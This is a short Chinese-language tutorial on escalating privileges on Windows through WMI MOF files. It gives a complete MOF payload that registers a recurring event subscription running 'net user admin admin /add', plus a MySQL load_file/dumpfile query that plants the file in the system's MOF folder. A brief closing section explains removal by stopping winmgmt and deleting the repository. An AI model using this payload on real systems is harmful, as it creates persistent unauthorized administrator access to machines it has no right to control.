一、
Windows管理规范(WMI)提供了如下三种方法编译WMI存储库的托管对象格式(MOF)文件:
- 将MOF文件执行为命令行参数及
Mofcomp.exe
文件 - 使用
IMofCompiler
接口和$CompileFile
方法 - 拖放到
%SystemRoot%\System32\Wbem\MOF
文件夹下的MOF文件中
注意:
- 使用MOF提权的前提是当前root账户可以复制文件到 %SystemRoot%\System32\Wbem\MOF目录下。
- Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三种方法仅为向后兼容性与早期版本(win2003)的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。
二、
- 将以下代码保存为
nullevt.mof
文件
#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
- 找个可写目录,上传或新建mof文件
- 通过MySQL查询将文件导入
select load_file('C:\\www\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
注意这里C:\\www\\nullevt.mof是你上传mof文件的随意路径,但后面的那个路径是固定的
导入后,系统会自动不停的运行该文件。
三、
解决办法:
- 第一
net stop winmgmt
停止服务, - 第二 删除文件夹:
C:\WINDOWS\system32\wbem\Repository\
- 第三
net start winmgmt
启动服务